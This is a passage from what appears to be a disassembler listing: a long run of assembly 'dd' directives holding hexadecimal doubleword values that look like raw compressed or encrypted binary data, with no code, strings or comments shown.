0DE44C35Bh, 8C89D40Ch, 0E894E21Fh, 85E6C9C7h, 10B367D1h dd 9FC80EDh, 6ABDFBD5h, 49617F87h, 0F221CD65h, 0E1D77ED3h dd 0AD5AF8FCh, 8E7B3C0Fh, 9044D18Eh, 5FC56D4Ah, 0FB08C713h dd 4F61034Eh, 0DF3A4BAh, 0C0AFD09Bh, 0FF5686A6h, 92599F43h dd 0D4D70A6Eh, 0B55F68B1h, 15576FAAh, 4022C5CCh, 43F08A49h dd 0B362E80Ch, 5431935Bh, 5A0D3678h, 0AE281F1Eh, 5BD80A6Dh dd 31686079h, 0B203CC2Ah, 0EAA5AA2Eh, 78AA59A9h, 8067F1CDh dd 5139FC71h, 30C8CB5Dh, 157CB2D1h, 0D802EE66h, 9B3F5447h dd 2DC780FFh, 42C9B8B0h, 67EF3733h, 0C3F0D405h, 3AABD3E1h dd 0AEB5775Ah, 4DA3DF08h, 519D0A05h, 0DE334620h, 7170F80Ah dd 15790D04h, 92EDC804h, 0F16EFF14h, 0EBA94CFBh, 1FEEF999h dd 36D00372h, 92C283BBh, 0C253D886h, 1ED7ABA4h, 7B67E418h dd 0F0797BD4h, 916A87F5h, 1D1271E7h, 0B3AA9AE8h, 1BBDBA53h dd 0B5C7A0DDh, 488BAF02h, 6BA6228Dh, 920B8B84h, 4C31A982h dd 578F3016h, 5A6FE21Fh, 0CA45A86Ah, 0F764735Fh, 0C9C23A19h dd 0D5C65311h, 76B52B96h, 55545F3Bh, 0D31FB19Bh, 4BA2682Ah dd 8DE39D8Dh, 8F01FF02h, 0F7FE8B12h, 0CBAD2713h, 5591AFC0h dd 0B035456Fh, 164F1BA3h, 9DBAAD54h, 7671F713h, 91F5E7F0h dd 3CE97796h, 8DA2A682h, 0A16CC5ACh, 95331BC1h, 0A4010263h dd 0A11EDAFDh, 2E2A6073h, 8CDFD885h, 96BB60D3h, 9FEE2954h dd 2A2ED45h, 355E04DBh, 6FB891E5h, 57F482EAh, 5EC5D2B2h dd 3994A44Dh, 0DF4D4B73h, 12BCB6C6h, 7DD2434h, 0C5A4780Eh dd 13ACA49Eh, 0A1892D62h, 16D4D0B5h, 4D52ECFEh, 0B8762E89h dd 0FEDEC1B6h, 3E08BC89h, 0BB6046B0h, 0A2F96F93h, 27492FF0h dd 2A4BE4B1h, 0A08A6CBCh dd 2AF9A647h, 0FB35E28h, 2E982ED1h, 0D1DAA17Bh, 653A4928h dd 6BC421F7h, 0C4BB1B67h, 339BC18Eh, 3F760067h, 0ED812D52h dd 4C5AB756h, 0FF11E067h, 7378BC85h, 5BB05C6Eh, 0F8430E3Ch dd 3B407C2Ch, 4D2DF03Fh, 0A5AD1866h, 0D9F7EF7Ch, 0E65AB2CAh dd 540637B0h, 95A25A8Bh, 80CD43E6h, 6DF90DF6h, 4CFA9D3Ah dd 39DAF75Ah, 0DEE3DFCCh, 0CA75DF78h, 8B06C535h, 0A8256A36h dd 0FC1EA2A8h, 0F7775AE9h, 0F3BD4420h, 8785D83Eh, 0D5F3D38Bh dd 0C1A64BA6h, 55064682h, 0EDF74317h, 0FDA46A5Eh, 9FB86113h dd 1B2ACCBBh, 656AAECDh, 0BF89FA49h, 0D909D191h, 487E1EF1h dd 0C87A2BD9h, 0EE74320Dh, 0F2A8F0D0h, 0B2EB76C7h, 5AA755F3h dd 7BE588EEh, 867281ECh, 88B90B8h, 0FC5F57D3h, 0AC7BF435h dd 7B886A0Ah, 0DC8272E1h, 0F3DE7CECh, 6758A768h, 0D36BA75Ah dd 9C3D44BCh, 8AF9CA02h, 0A4E76E5Bh, 7CA7B57Eh, 3E53E55h dd 0C746123Dh, 9BC05A38h, 596C8F97h, 1D7BFFA0h, 0FEA2F5E4h dd 577D5017h, 0FEA5A6B6h, 0E3E59430h, 74F9B21Ah, 0BE885F52h dd 0C7A1D734h, 0A6CECF0Bh, 0D059130Fh, 0D6955AAAh, 9EB1B995h dd 57944AE8h, 0C2CC729Eh, 267F5157h, 0B228D7EFh, 0D72717DFh dd 0FAD635CDh, 0BE28337Ah, 0B4C0E4DBh, 3C97DFEEh, 6D625C2Ch dd 73A87EE3h, 0D0C4D9A4h, 309D66D0h, 0FD3C3B27h, 8DDA5AAh dd 0ED65772Ah, 0DE95F714h, 0E3BA9B38h, 7AE0B62h, 0D7527C82h dd 0DE296D5Ch, 5D7DA0EEh, 79FE68EBh, 636374E0h, 0FF63CDC5h dd 59D91B44h, 0AD79E0A0h, 217124D7h, 8AFEA35Ah, 34A1D513h dd 0C76607CFh, 0AA526FEFh, 0A5CFA05h, 8F5C5077h, 37EB8E5Bh dd 237D7442h, 0FDA2A4E9h, 0B3BFB76Ah, 8EDC4D35h, 21ECC076h dd 9D5ABC5h, 308F9D8Fh, 61CD0205h, 0D7D205FFh, 980B6A40h dd 6A85FDF9h, 0D76D4E8Fh, 2E10B21Ch, 0AD9B2982h, 2A6896BEh dd 99FFC813h, 7125B0Eh, 0F39685DAh, 6E69CCD4h, 5E6F8C6Fh dd 88D18508h, 0C246EA1Fh, 0A6075FC2h, 0FE65AF5Eh, 9AF785D9h dd 77E364EFh, 4E3773A8h, 0CEDA3CCCh, 5DC09D15h, 6C58FB6h dd 0E5A764A8h, 5019DE07h, 71203E17h, 0EFC6E8C6h, 0AF49A89Fh dd 0BB73E70Eh, 0C32EDE4Fh, 0A2CBA47Ah, 531591BFh, 5F2912AEh dd 0F9C01811h, 9A3B5393h, 5C0CF8E9h, 0E34F7E75h, 4AFC28D6h dd 3EA4FF78h, 17C7B7A6h, 6BAEF8BAh, 3D6A6FB6h, 0F4336A9Ah dd 0EADCFF6Bh, 0E858A581h, 2B622736h, 0E0E4FF5Eh, 0A9011988h dd 0D6B5246Fh, 4659115Ch, 0BC565875h, 7D156122h, 52504B04h dd 0CE411BF3h, 0C473ACAAh, 6A22E1DDh, 4425933Fh, 0E07F3B70h dd 0C7DE95B2h, 0B369182Bh, 23622C05h, 33C0E3AAh, 4D23DB57h dd 431B79h, 2C9DAB62h, 2FDB13C2h, 0F71662C3h, 0A4125B3Dh dd 0A7CADD95h, 0ADAF231Ch, 0BC5B1657h, 0AF5935E8h, 7F40130Eh dd 0FAE18AD5h, 1F02F3A1h, 72AAE55Ch, 957AADE9h, 0CCD7AB1Bh dd 63054075h, 0A6CA4693h, 0AFF4756Bh, 29FDE46Ah, 84D0AA5Ah dd 0C70EB75Fh, 27DCAF07h, 101EFBF0h, 0AA9A4DC6h, 0BDC167FCh dd 1A2CABA0h, 0E86AE446h, 0EC43FC71h, 73BA05B1h, 0B5EBED5Fh dd 0DF75EB0Bh, 0E0EA3409h, 0A2127BD6h, 0AB0EDC6Ah, 4FFB575Fh dd 8299067Ah, 0A46887BEh, 0DB471446h, 0F8DE6869h, 0F2F8F1CAh dd 9B9A12DAh, 7734723Fh, 29F769Dh, 40B5883Eh, 1FF6C153h dd 0BEE0ECEEh, 3F08FBB6h, 0FEF5DA7h, 0F3E24728h, 8FE110E3h dd 523E9FEDh, 6E76D66Eh, 529AE80Dh, 0F15A2F13h, 5990B5A2h dd 6A9237D2h, 502BF355h, 7C5C85D3h, 0F23E6AE5h, 3E5708A3h dd 0D9A9B1EFh, 0A91DB952h, 0EA275053h, 28DFF2Bh, 8F47453h dd 0BBC3A9D3h, 9909CFCCh, 40E7E2BFh, 0F0A07A53h, 43F9C068h dd 0FF7BD1E6h, 9BAB5892h, 0D68E278Ah, 4B1D0309h, 0FFBAD6FAh dd 2B39EE7Fh, 61511B6h, 0D42DCF94h, 7EC2928Eh, 1E1E1B6Ch dd 0C794CCAEh, 0B78D5FD6h, 181DE85h, 55C28B6h, 0B1773D07h dd 0F62098ABh, 761E41E6h, 0D41CF949h, 0C319E1AAh, 40B70FDAh dd 87E093FFh, 0B0203728h, 0BCDD2358h, 0D574C0FAh, 0BF5D4E5Ch dd 2B462535h, 7BE69BE3h, 50F0A121h, 56DD85A5h, 0E5D7ACDCh dd 45CB4B76h, 14F85D52h, 564CCE94h, 0DDA7AC5h, 7CB74AB8h dd 0C82313h, 0CAFF8957h, 0EB24E49Eh, 4FBE6154h, 1CF3CDD4h dd 4A4D9B85h, 259E216Dh, 2BFB1F29h, 2EF52919h, 677B5261h dd 8CC9D9D5h, 987380EAh, 0F61468E6h, 0BBE3490Fh, 676A1B09h dd 0A1FC8345h, 5D0FEE11h, 80920FC3h, 69288F4Dh, 0DD3E32A6h dd 0F8979804h, 15114AEh, 3C9CE8E3h, 0E251B44Ah, 0D12EAA62h dd 393CD9BDh, 0CBF7C5FCh, 0FCF424B6h, 2AD5E0BFh, 878FD6ADh dd 72AAF607h, 1B2399EFh, 0FCE2E213h, 0C33268B7h, 84EA7B45h dd 0F8654149h, 0DF8D50FEh, 0F91A1435h, 55D450F5h, 0A6CFC339h dd 57C11E4Ch, 61C64D47h, 5AE03496h, 5B9CBB5Dh, 0BB4FFAA3h dd 0CD9E7D0Eh, 0E0F304D9h, 0BBF307F8h, 3F1FE380h, 0EA62858Ch dd 0B5493349h, 0F5BEE66Bh, 0F715E8CDh, 4FF41D07h, 492DA589h dd 0D44E4776h, 0B2AB5FA3h, 0E9BDBBC2h, 23870A10h, 7F560670h dd 2EC0C60h, 9F951E96h, 0A5891F3Fh, 10B8A375h, 7E6BABh dd 0F0672FA3h, 0DA9ACF50h, 8BADE730h, 0E92E9BE5h, 5895F252h dd 4FB9DDB9h, 0DB394462h, 0F63D3A41h, 0BECB7EFh, 25DABC5Dh dd 7B1F3BE4h, 1EA991E0h, 81AC2AFFh, 0AFB58B8Bh, 4C3ABE7Ch dd 8073D28Dh, 0AACCE6DAh, 0FF33D1C7h, 0B70AF7AEh, 0A6D7EFBEh dd 55FA2E4Ah, 59D841ADh, 54E56BC0h, 898AD0C0h, 0BAD95A1Fh dd 93C5541Ah, 0A9DD4169h, 467509EAh, 88D65F0h, 0A1DA1EF5h dd 77E8E691h, 0F2C2313Ch, 0FCA653DBh, 9592C69Eh, 1F1CF688h dd 0BEAB976Ah, 0F6B45FDEh, 3103E671h, 7CCBD5D7h, 0DD0559AFh dd 831A9A5Fh, 5F01B8F3h, 8F898D7Eh, 52EACC9Eh, 755B2E55h dd 0C73EA9E8h, 3716F451h, 2F53F37Ch, 35A2F9A1h, 0B04BEA03h dd 4B78558Bh, 1BAB1565h, 4FBDEB59h, 1F657377h, 6572A77Dh dd 52656FFh, 682ACDBCh, 45F96E0Bh, 6B69EAC5h, 624E5435h dd 0CCAFCC65h, 7A218DCBh, 7F8CBC21h, 9BF564FDh, 0BBE33AFh dd 74E6B3C6h, 532F1E40h, 5C0EA5C0h, 0F97F94A9h, 51E6C18Eh dd 3B40BF6Bh, 1B2BEA96h, 808B5528h, 0E35C0D53h, 1A5744CFh dd 0E2BF4589h, 5FE83C92h, 0AF2116DBh, 8C82CC52h, 0AB731FA6h dd 0D5CED494h, 2D458EF5h, 7BAB572Eh, 1C811418h, 0FAD1B3D5h dd 1D8CF0D5h, 5002E558h, 2048E698h, 0C02ED825h, 0F98E3E9Eh dd 25A2FF69h, 815AAE07h, 9EE217Dh, 6985DA5Dh, 8AAEFD73h dd 0DA56E1Fh, 0D94E61Bh, 0A3007771h, 0A73DA46h, 0A0F0BFB5h dd 76FEF435h, 0C9422B6Fh, 0B8836595h, 0EAAB8562h, 0BB595CBEh dd 77BF9AE8h, 0E3543541h, 2EED485h, 7D8C8A1Dh, 0A33517D7h dd 49045C90h, 1EA12555h, 5307151Dh, 2239773Fh, 0D68FD1C2h dd 12912754h, 0C3A820B8h, 0D56ACB17h, 0D2AEFA64h, 7FB4C178h dd 0EE07A362h, 82D69E8Ch, 0F5A99145h, 76F8BC2Bh, 550F0169h dd 74BDCA55h, 6EDC9A8Dh, 814458D7h, 3B332F60h, 0C5AB1277h dd 0CB221D4Dh, 9B341559h, 0BE699861h, 0B4BFE7BEh, 87CF115Bh dd 0BE29705Fh, 6E248F49h, 42FB7923h, 0B8D2DCDFh, 7CA5C469h dd 9023E5B5h, 0EE6C4BACh, 0E9596EF1h, 0B23F76A3h, 0F9A87DA5h dd 0AFCD8A50h, 0BAFD0485h, 0BF8F0B95h, 12E02C9Ch, 0E2E1D75Bh dd 0D160F0E1h, 0E74386A8h, 7C812BE0h, 0EFAECF5Ch, 0DD5F7C73h dd 0B52A50C4h, 0FDF2DAD9h dd 8F831E8Bh, 7D1446Ah, 9B9AC7A2h, 2513DAC3h, 0E969F67Eh dd 59CBF069h, 51702D11h, 1DF6CCADh, 0EBA06A3Fh, 0C0F2D67Ch dd 0FE9F0118h, 8A0377F7h, 0CEBCF9EBh, 4C7268E5h, 3120F447h dd 0A7A32AA0h, 0EF44228Dh, 7E63AAB8h, 7F1BF3B6h, 1EC3DB75h dd 7FCF33E0h, 0F8AC5484h, 3470D1C0h, 79983D78h, 4BFEBFABh dd 5CCAAD55h, 797AE34h, 0EEDBA46Dh, 8E128653h, 0CC69D8B7h dd 4C040C6Eh, 2A5D745Ah, 1340F731h, 55F64764h, 8FBB5029h dd 0A5F86E33h, 0DC035227h, 3A8F1ED8h, 35DAE952h, 4A9AF63h dd 0CB2268F5h, 84A042DBh, 0E7B936E3h, 3F5A495Ah, 0FF07664Ah dd 0EAEE3F2Ah, 66C170Eh, 81F89BEBh, 7B3DA35Bh, 9F5146A5h dd 4B4362F9h, 70703AB0h, 1C33FB9Dh, 7E03F076h, 7D0B9318h dd 7D9EB6FEh, 981EE23Ah, 376AD1A7h, 0B8D22C1Ah, 0AAF37EA6h dd 1F7F1055h, 0A476B03Ch, 4E6DAFCFh, 458C146Bh, 5474BCBh dd 98175554h, 0F5A97D97h, 29547B6Ah, 0A3BDB7B0h, 0EB9FDD0Ch dd 420AA247h, 0D5E6657Dh, 2D1B36E3h, 0D700A8E7h, 0BE057AE6h dd 7447A2DCh, 2CCDA67h, 76E00D62h, 592FA461h, 57974EECh dd 765D6E71h, 4EBE1AD1h, 36D95E1Dh, 6F142C53h, 7B6D56F2h dd 15B9C557h, 1EAF455Fh, 0C0475743h, 0F1E2BEA2h, 47D54571h dd 9694C3B3h, 54AE4425h, 2A9DA904h, 752AD779h, 5DF1416Fh dd 0AAEFF733h, 0A917448Ch, 7F163744h, 68D495F9h, 3FEF7543h dd 3C2B37F5h, 0E522F6D3h, 84F98FF4h, 6AA1843Ah, 9D85CD5Eh dd 4509B4EAh, 1535FC6h, 80AF49BDh, 5ABAF7DCh, 539C6377h dd 8B64DCF6h, 6EFCE47h, 2EEFC69Dh, 0EFB60519h, 7793BA5Fh dd 5CF23160h, 675F5FA8h, 27774C19h, 0D842405Bh, 0AD56A0E0h dd 88CFF79Ch, 0E10E2A76h, 35F56679h, 5F0798B5h, 0F5A0E4A9h dd 0B2805425h, 0B1B93EE6h, 0BC6E73F9h, 373D78CAh, 4E197033h dd 4EFAE2E0h, 0EFA4F022h, 7E6FF444h, 0B97C3019h, 3B035845h dd 57B41F54h, 0F9F9C8EDh, 2D4BD650h, 30456756h, 3D934617h dd 5492532Ch, 0C94D8DD5h, 0F3EA4E7Ch, 0F64732DDh, 0BBAECC15h dd 0EA85C3FEh, 0F060AF29h, 0E111FE95h, 0AD0F2E46h, 23C75F9Bh dd 0C3F46DF5h, 6092F0B8h, 49A3C0D5h, 9F5ABAFEh, 72FCFA6Ah dd 8BA99E6Fh, 0ACD08512h, 0AD05CE74h, 6FF78E4h, 4AD99709h dd 0AEE266AEh, 3D76CD0Ah, 1A73625Ah, 0EEAB2522h, 72BCB35Ah dd 1D925A2Ch, 0F0FB23E0h, 1062C443h, 0EDEDEDD8h, 0CFC46EA0h dd 69F796D7h, 0BCFC5D86h, 0D9D8F6D1h, 0CEE4A908h, 7DFA21BEh dd 12B20A89h, 0BECF2DBAh, 47E02712h, 18ED905Fh, 6778A497h dd 5A9F48DDh, 59DF7EE2h, 0D3A8DEFDh, 491BA3CAh, 68489F8Dh dd 781EE97Dh, 6C599923h, 9974771Ah, 40D756Ah, 0FBC9C74Fh dd 996E77E0h, 63FB68A5h, 0F8A3A345h, 0F5855D4Bh, 1BDCBDBBh dd 83174193h, 39EFF5CEh, 0AD736108h, 3304BC6Dh, 19C6287Eh dd 67D1EAB6h, 9B49253h, 5F0E6559h, 775B9E39h, 0AAE6B789h dd 7C85BAA8h, 6AD5F10Fh, 62F9BA12h, 748D6D42h, 6BF06E57h dd 0AFA06256h, 0F721C6FEh, 58D02BCAh, 0A125FED3h, 0BDA92501h dd 50FC4DEDh, 0E45166AFh, 28BA0DE5h, 0C9AD49F2h, 0EEBD5B5Fh dd 4A074B03h, 0C676EDAEh, 0B4808BFDh, 0D4AECCE1h, 5A3EA334h dd 8C19ACB1h, 2993583Eh, 555A5CFAh, 0C985DEC0h, 2B2F2A6Dh dd 0E5A72C3h, 1540C528h, 4E921327h, 6F9B15ADh, 4D6B238Ch dd 2BB928B9h, 0CC783120h, 9C0F6EC4h, 39F5E67Fh, 0FB199BB5h dd 52018CE7h, 9B5042BCh, 0CC763665h, 0DB19409Ch, 8BA85AE7h dd 0F96A2400h, 0CB7CAC4Ch, 0FF3D079Ch, 3FAF39FCh, 3A71303Ah dd 0A13468A8h, 0CC3F6E74h, 0D6BCE8C8h, 1A07E9FAh, 0B49B937Bh dd 4D5A4764h, 84C251B5h, 2690EB87h, 0E99B08D1h, 5D661955h dd 5F228469h, 61ADD596h, 45944B60h, 95426DA2h, 8F5DDA7Ah dd 0F96F3B8Bh, 1E8AFBFAh, 0A4A37DBAh, 0AEEB34Dh, 0C5D96CFBh dd 114DD59Dh, 1C5F6079h, 9C5D0762h, 0B46E8199h, 31CFA62Fh dd 0E976420h, 0C38FCA53h, 0D671D14Ah, 0FCDE0886h, 0AB2EA14Bh dd 1EFAEF8h, 1914F829h, 9823B35Ah, 0CE1F93FDh, 0A0AFDAF4h dd 0DAF464A6h, 0C1848660h, 6D88AA61h, 0F2938ED8h, 0F5BD43EBh dd 0A70465F9h, 0F2BB3558h, 6B420C00h, 473BDB8Ah, 431507ADh dd 0AE0789BBh, 6DF37B19h, 0E6F23018h, 581FD1A9h, 0E93FC0FFh dd 791106DFh, 0C776D62Bh, 1713007Bh, 0BC47557Fh, 1A11B7CEh dd 0E456DD89h, 343C2455h, 0DE3DEA3Fh, 6AF5E66h, 9D5FC7EFh dd 0D11323EDh, 9886B5FAh, 3363F1BDh, 0BF8ED541h, 34756619h dd 0F87E800Bh, 0A51F617Bh, 6DFE0106h, 0A6A2C0F1h, 9A485C1Bh dd 9B987755h, 0B2E82365h, 17EFACD3h, 0EF3940DDh, 0A442Ch dd 0BC3C59EFh, 0E8CCEF2Fh, 65BC94C5h, 656D349h, 0ECB6981Bh dd 7F481E01h, 0E429113Ah, 0BED6E9EEh, 0A8A29FEEh, 74614B72h dd 5CCF28F2h, 0C469B97Ch, 71388568h, 0FA069FD0h, 47A926F4h dd 0ECDE9B6Dh, 12595563h, 70E9D32Dh, 7AD29DBAh, 0BDF544Eh dd 0E0A4B5C2h, 5DC35E87h, 63B573E5h, 0ED2D86E0h, 3C3CC578h dd 0AEFA9C3Dh, 0A09CF406h, 85717FB5h, 70A03A87h, 95DDB2C6h dd 5FEC6FE2h, 22C0E256h, 7A9B4BC5h, 3725FC2Dh, 2C7D0DC4h dd 401E73DBh, 86E4B588h, 0BB45468h, 63C72049h, 0A8F27CAAh dd 228F3C8h, 462C45E7h, 3C727D52h, 0B71219B3h, 490CBD21h dd 9B7C2EA1h, 0C915D0B6h, 4D5EF81h, 64587DCEh, 0D320E015h dd 0BBD90978h, 8F813EFCh, 2C1417F2h, 2338D6Dh, 7FEE35DDh dd 7D166D88h, 0A5E880Ah, 5765CEBBh, 83B00E8Eh, 0DD626250h dd 957BF079h, 0E8772EC1h, 445BF7B0h, 15F5774h, 71F23B6Eh dd 5E54ACDFh, 1CCCE228h, 0EA2A6D16h, 8756F7BAh, 72D118ADh dd 0A1316A85h, 0EE811D80h, 9043D0FEh, 0DCC2C3A5h, 9DFDF095h dd 0A2C09A0Dh, 0A57F569Ah, 0FAA8BB34h, 331CAB2Bh, 7C1E7C65h dd 0BFB389CBh, 56CFA29Fh, 0D552E35Bh, 7E4FEE29h, 75C27525h dd 0B039EB47h, 58844ACCh, 0D55489E0h, 0C5982F5Bh, 7642C36Dh dd 63F84366h, 88849259h, 217852CDh, 907FB6B6h, 0A53FBBEEh dd 3E0FDBF9h, 53F033Dh, 8F438E2Ah, 5ABF1B68h, 0ED0E1569h dd 0F24B300Fh, 0BFEBCD7Eh, 0B4D147C2h, 532DBBBBh, 560D49A3h dd 56F765F8h, 0B77D3E91h, 0F8E6B593h, 0F634145Bh, 9BAF5255h dd 0CCE834EDh, 0DFC4CAC1h, 0E04B7EE5h, 87E33AF7h, 0E5373595h dd 0FD4870F9h, 73EAEECAh, 1D4E9B0Ch, 0FBCB73A5h, 1EAFB2E1h dd 0D3D554D6h, 4CFF647Ch, 3035D766h, 4DE68E2h, 0DFAFC5FAh dd 3C1C27E7h, 786A835Ah, 21596576h, 0ACD13349h, 314552A9h dd 0D897F583h, 231513F1h, 0FCA0EBEBh, 0B9D91250h, 0CEC7D51h dd 0DFF57AB0h, 0CC05BADBh, 342196B9h, 0F1A8FC1h, 1C587F9Eh dd 0A11B08F5h, 0F8508A43h, 53FFFF3Bh, 0DAB7D68Dh, 37A9C6C9h dd 4F9DBF73h, 85F2C2C2h, 9F7DF35Ah, 88FD17A8h, 0EA53AA56h dd 32A907F0h, 0BBBDDA5Ch, 99A7E6D1h, 655E0BCCh, 0E602DF84h dd 0FB789C6Dh, 0CC5A6F44h, 93BED496h, 3BACA0Dh, 4C8F80AFh dd 0E7601E19h, 0AB3B7264h, 4CE1D907h, 0F489C9C0h, 0A568F88Dh dd 0B32A6216h, 0CEF68207h, 0AE68FBAFh, 2CDFAAB4h, 0CE35F677h dd 0BFAF8DD9h, 0B678897Bh, 0C104840Dh, 0F81C2229h, 342C4C4Ch dd 8377FE1Ah, 6C648AB2h, 83C45739h, 939ABA1Fh, 0F5811982h dd 325FCCD4h, 0AFBFB3D7h, 0AA9B50FDh, 1B658B82h, 5567F345h dd 95F681B3h, 1DDC68D3h dd 914CAFEBh, 1D78DCCh, 0A707CC3Fh, 2508DC86h, 0E33994F1h dd 0D17B9E2Bh, 0D7FA9BF1h, 7DA2181Eh, 0C2B5ED39h, 0FF2FED84h dd 0C5135979h, 0CEABB07Dh, 65F557D7h, 0F10692F5h, 0AB254E3Bh dd 0E8770BCh, 0D1EDF4C4h, 29BE82BCh, 805EA5EBh, 0F6EF7F7Ah dd 6CEA6551h, 58BEA9Dh, 0BB6E15B1h, 106CF126h, 3B4015C0h dd 0F81045CBh, 543F677Bh, 0F9865B4Ah, 0D7A013AAh, 0DECCDF25h dd 73CB6838h, 0EA217CC0h, 0EE73C5AEh, 1D2BD958h, 13AF3211h dd 9658F381h, 9C4637B7h, 0A889B379h, 0CDA3C075h, 5311DEFDh dd 87E57B0h, 5302B75Ch, 0AD601EA3h, 0DD9A089Fh, 2F3104C7h dd 0FFEFA0F7h, 45BA968Ch, 0A56770F7h, 4AA5B92Dh, 0FC8F176Ah dd 0F03725C0h, 0BAA3D26Ah, 5441F70Ch, 9700A755h, 105A58CBh dd 607A18C3h, 97CA32A1h, 57B2B6CAh, 930AB6EAh, 0ECAEE96Fh dd 81D7480Ah, 6EA11550h, 0F9BBE1B1h, 354575D4h, 25ABE162h dd 0D577C0B7h, 0DB71D170h, 5A1535B9h, 0F434CF4Ah, 42B328D1h dd 66C16C0Fh, 6D584C8Dh, 5B945797h, 0AFB400AAh, 3FA7096Dh dd 68B320B0h, 5366D006h, 0B380F3C0h, 0E9E6C4E6h, 0FA1FDDFEh dd 0F5B10E63h, 4EB825F6h, 6D8613CAh, 0D557BF06h, 0EABCD073h dd 15A18B2Eh, 5A366h, 1F5A6D86h, 46535644h, 50F388C8h dd 457924B5h, 0F412FCC1h, 0FD665B92h, 0B7AC91D8h, 7B1A3960h dd 0CF728AE0h, 9A2A09FFh, 22C51AB6h, 11D4EE51h, 9426043Ah dd 4FD1B6ABh, 7DB4BB9Dh, 803A17E1h, 8E9E1648h, 0F961CE68h dd 0F91A29F7h, 13BF6115h, 4D2CBECDh, 0AA6ADBE1h, 0C3C94BAEh dd 0A55EDCCFh, 9695355Ah, 0E5510A99h, 0AF2ABCDh, 5E4111A3h dd 3483AAA7h, 1F2AD5DDh, 58097F8Ch, 1531810Bh, 89132A7Fh dd 552748C7h, 0F15D77DDh, 0EF5D3BF7h, 9FBF8F6Dh, 33CC7FCCh dd 0A7EDD28h, 3C1EF7ECh, 0A79984AAh, 0CF0D5450h, 0A953DDBCh dd 6CF62787h, 0FD860CA7h, 0A6D13B25h, 3A9A6DE5h, 85FC22E1h dd 1FB24DDBh, 0E98D5BA9h, 541C9B07h, 5C23939Ch, 5E71716h dd 0C95A181Fh, 0FB73E373h, 160F2CAEh, 551D2456h, 19A81615h dd 1D10D2E1h, 6DB65A27h, 96CF5AFFh, 0A2BBAA18h, 49EFE237h dd 0BD6F53B4h, 0C0FA561Dh, 7D34A3C3h, 0CEEE473h, 0D9EE25B6h dd 0B30CC50Ah, 0E8DC7E7Fh, 9319BF2Eh, 54333C94h, 0D655A864h dd 0EE720247h, 6C5D52FEh, 4FDE36Eh, 0C5B94BC6h, 87B2631h dd 4EE73A91h, 16758F44h, 433CABECh, 0ACEE7921h, 5C089780h dd 1AD37F9Dh, 0AF384F84h, 865962EFh, 0CD78D82Bh, 0D526D10Eh dd 0DA34F83Ch, 0BFD0CF7Ch, 0CE6A67D8h, 0CC4EEA07h, 2231B8FEh dd 0ADC22AAEh, 3A6D2D24h, 8B68CA11h, 8D771225h, 68DB9CD9h dd 51BCF6F3h, 0BAE99B50h, 300F7A9Fh, 0A0AFE750h, 0E7528AE5h dd 0C61F9414h, 0EF1C381Fh, 0F4758A89h, 65D55B4Dh, 3CEAA90Eh dd 2CE03896h, 519EE19h, 0DD150D66h, 0AFDD36B9h, 4D8B5AA4h dd 8BC37128h, 5EE83E1h, 0B2C8F1FAh, 0B8431F1h, 75ABE547h dd 0ED19B86Fh, 8FAAAEA0h, 4C170987h, 397B8073h, 8E905C95h dd 4F113B35h, 0D815A24Ch, 3E5FE6A9h, 89F0C58Eh, 8F6BD507h dd 1BF69575h, 0CCA345EEh, 8C409605h, 0FF165187h, 3B49FA64h dd 805B8F0Ch, 0D01D9F62h, 703E257Fh, 0AE8DC7EEh, 18983D86h dd 958CE552h, 5A75621Bh, 0DC5AAE2Bh, 0F0317142h, 0C7B7B0BCh dd 16F5D0E3h, 5B51A7B4h, 0E576776Eh, 32622F57h, 0D57B55FCh dd 0D5B15C43h, 0C08646BFh, 0EBD68CBBh, 6E259B81h, 0F932844Eh dd 0FEFA3358h, 3B021C27h, 0F9B2EE74h, 0CB0B56CFh, 80E0D415h dd 77FBCB10h, 9EE1BB58h, 89AA1E87h, 0CE2A92ADh, 0E1E3BFB0h dd 0C3F10B22h, 48461CFEh, 1E379D6Eh, 0C652E229h, 940A268Eh dd 17D56568h, 0E36677E3h, 6ADEAE9Bh, 3597566Ch, 9B533824h dd 8BF95595h, 981E6739h, 6B523A24h, 4BF6DF96h, 1FE97E1Dh dd 3ED1EE89h, 45A7FCF8h, 4FCEE5D3h, 1ADCDD94h, 51F64AF7h dd 0B82B038Fh, 0F025251Dh, 91050150h, 8F9F7F5Dh, 0EBF6484Ah dd 0FA71C5FBh, 4E458C35h, 45BA4506h, 9C871A40h, 0EEFB9317h dd 0F1D5E1A4h, 8DB43824h, 0B8B097CBh, 7D610B2Ah, 2461BAFFh dd 37DF8EC3h, 742802F8h, 0ABD33945h, 45831577h, 0BF062118h dd 28DD462Ch, 75230665h, 0C9A6B355h, 53DF42F5h, 0FEE1E142h dd 95EAB6E0h, 0D97E6A15h, 23135199h, 41D13E57h, 0EA6AEC3Ah dd 0FDC38DABh, 2A6537E1h, 0A58E5C34h, 774ADE25h, 176B0025h dd 160B02B9h, 8AB93B88h, 0D41FE907h, 7E6154Eh, 0D69724B9h dd 239B36C3h, 40467A2h, 57FE7F67h, 6BE41931h, 0A65A95A0h dd 0F723ED8Eh, 0E4C5291Eh, 0FEA813D7h, 273BF95Bh, 9F765742h dd 7217F510h, 9A801416h, 2828603Eh, 0DD5AAC07h, 0F8218AE6h dd 2577B477h, 86F38C4Ah, 1E4E7DF0h, 92AB746Dh, 0FF137EFh dd 3761CE25h, 0FAB140E4h, 889AA177h, 4DF920FEh, 0F4CBF3CDh dd 370E43F0h, 0E5EC2A90h, 0E16125A1h, 0DDF07132h, 21048B6Ch dd 0EF8F1C8Fh, 4666E2C6h, 896F4ABh, 0E6954AACh, 9AEB8EF7h dd 3CC25851h, 4C826C62h, 2FE8FE0Bh, 3A3AEF9Ah, 637E9A70h dd 0A7E5A2E5h, 36413F02h, 8BFDB68Fh, 0BFC996B9h, 469BDE9Eh dd 0D4A10609h, 18F20FBEh, 304D81E7h, 7168C294h, 0F62A8511h dd 42CECB97h, 0AACEA26Dh, 3094DDABh, 0C2C12408h, 5D2F1D33h dd 17EAF59Dh, 0A27EE5FEh, 0B475F7A2h, 0D8E58193h, 0DF376BDh dd 0C9F6617h, 0F95AAEB9h, 33451C43h, 0A5D76A26h, 0B51D50C1h dd 974897FBh, 31F25AF9h, 781225B2h, 36FEE762h, 13799BC8h dd 89D4BCB6h, 0B53B69D6h, 9D0B85D0h, 4E69B535h, 0DC8C3505h dd 303C4A11h, 10C3AFDBh, 0D6A38FC6h, 80A0F600h, 9AFA783Dh dd 73EB67DAh, 0AADBEE6Eh, 8565D25Ah, 85A3D0D2h, 9A6F7A5Ah dd 0C943F5DEh, 9D178147h, 5EDC7832h, 6F74131Dh, 0F2C80571h dd 57569EFBh, 5F2B89ECh, 0FD3A4B47h, 